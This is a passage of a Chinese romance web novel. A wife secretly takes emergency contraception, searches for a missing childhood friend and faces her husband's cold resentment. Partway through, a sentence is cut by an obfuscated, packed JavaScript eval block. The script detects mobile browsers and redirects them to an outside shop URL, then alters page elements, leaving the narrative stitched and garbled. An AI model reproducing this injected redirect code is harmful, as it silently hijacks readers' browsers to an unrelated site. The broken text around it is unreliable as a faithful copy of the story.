她当然不可能辞职,但昨晚那种情形她一时鬼迷心窍没有接着拒绝备孕,以至于反应过来的时候他都开始预约医院准备一起去做体检了...... “苏妘最近经常来找你吗?” “也没有经常。”卿意瞟了眼对面慢条斯理吃早餐的男人,“就上次一起喝了咖啡,她从谢老师那里帮我带了奖——。” 她顿了顿,转换说辞:“帮我带了些东西。” 林与青低头想事情,因而没有注意到她的这点小变化。 “上次你回去扫墓,苏妘姐也去了?”她其实前几天就想问来着,她不是很明白他们两家人的关系,如果真的非常熟悉的话,为什么以前从来没有听林与青和他父母主动提过。 “嗯,她——”林与青本想说苏妘回国后行为举止奇怪,话到嘴边又觉得不太合适,毕竟单凭感觉揣测他人多少带着些个人情绪。 “以后不是必要的事情建议少和她见面。” “为什么?”卿意放下热牛奶看向某位“专家”。 “让你发烧的不就是她么?” 他到底是从哪条信息里得出这个令人匪夷所思的结论的?! “是我自己点的甜点,也是自己发的烧,和别人没关系。” 林与青回答:“主要原因在咖啡馆。” ...... 卿意原先想借扫墓的事委婉打探下林家错综复杂的情况,但现在这牛头不对马嘴的对话让她丧失沟通欲望。 快到上班时间,从市医院辞职后林与青的时间很自由,一般把她送到单位附近才调头去公司。 等到他的车离开视线,卿意趁着还有时间找了家药店。 她这两年没有生孩子的计划,尤其是家里人都不太认可自己这份工作的前提下。当初考到社保中心她曾经由衷感到开心,即使考研失败了,但这证明她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525864|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个方向同样可以取得成功,可是现在...... 卿意也不知道未来几年,也许是十几年,她真的能忍受一眼就能看到头的窗口工作吗? 担心在单位被同事看见东问西问,她找店员要了一次性纸杯和水,在店里吃下一片紧急避孕药,考虑到后面还要长时间避孕,又另外买了两盒优思明。 当天没有太大的副作用,但吃药的第二天出现了恶心干呕的症状,因为胃里难受她中午只喝了点白粥。 单位有两小时午休时间,卿意在休息室桌子上趴了不到半小时胃里又开始犯恶心,强忍着不适下楼透气。 午后懒洋洋的风拂过鞋尖,天很蓝,仿佛要沁出水来,这种好天气让她想起以前在乡下生活的日子。 卿意找地方坐下,等身体舒服点后打开手机。 上次何年说要等一个月才会来市里,现在也过去一周多了,她发消息想问问进度。 习惯了他回消息慢,下班没看见回复她也没觉得奇怪。一天,两天,三天......期间她试着打电话联系,通通石沉大海。 等到第五天卿意实在坐不住了,托陈叔查到工地的联系方式,按了一通电话过去。 “何年是吧?等会啊,我帮你看下。” 电话那边传来几声鼠标音,“他旷工好几天了,之前同宿舍的人汇报过,上周人就不见了。” “估计干不下去走了,毕竟才二十多岁,吃不了这种苦,我们这多数的工人都是有家庭的......” 久久没听到对面的声音,那人便问了句:“喂,还在听吗?” “好的,我先挂了。”卿意的嗓音又干又哑,像从很深很深的井底飘上来的。 她盯着屏幕上的通话记录,不知道过去多久才划到那个熟悉的电话号码不停拨过去,可回应她的始终是那句“您拨打的电话暂时无人接听”。 出事了。 卿意心慌意乱,何年绝不可能不辞而别,他很负责任,就算不在工地干了肯定会提前说,更别说他现在根本不在村里。 “在想什么?”林与青刚从浴室出来,下半身随意裹着浴巾,正微侧着头用毛巾擦头发。 卿意立刻想到可以让他帮忙找人。 她赶紧放下手机,连鞋都没来及穿上跑过去,“老公,你认识很多人对不对?” 林与青没明白她的意思,见她赤着脚,单臂把人抱回床边,“出什么事情了?” “我有个朋友——”卿意犹豫了两秒,事出紧急顾不得其他的,“就是我上次和你说的那个童年玩伴,我一直联系不到他,肯定是出什么事了。” “哦,那个何年?” “对。”她焦急万分,抓紧丈夫的手臂交待事情的经过,“我刚才给他工作的地方打了电话,那边说他上周就不见了,现在都过去一个多礼拜了,消息不回电话也不回......” “他家那边我也让人去看了,都没有见到人。” “查的很仔细。”林与青将毛巾放在一边,目光中带着冷漠的戏谑,“那我能帮你什么呢?” “我想让你托人找一找。”卿意深吸一口气,眼泪瞬间在眼眶里打转,“爸妈不喜欢我用这些事情麻烦他们,我前两天让陈叔帮忙找了,都没有消息。” “何年小时候帮过我很多次,能不能请你——” “好了。”林与青打断她,拿上毛巾打算去洗衣房。 卿意看出了他并不愿意帮忙,也是,她本来也没有资格用何年的事情恳求他的帮助。 她不想再和林与青闹得不愉快,强忍着翻涌的情绪把请求的话咽了回去。 林与青看见了她眼眶里的泪水,停下脚步冷声道:“我不想帮你,因为你说的这个朋友我不喜欢,不仅不喜欢甚至厌恶。” “但出于丈夫的责任,我不得不帮你。” “明白吗?卿意。” 相亲相爱的戏码他已经演够了。 他就是想让她知道,是她逼他的,是她永远亏欠他。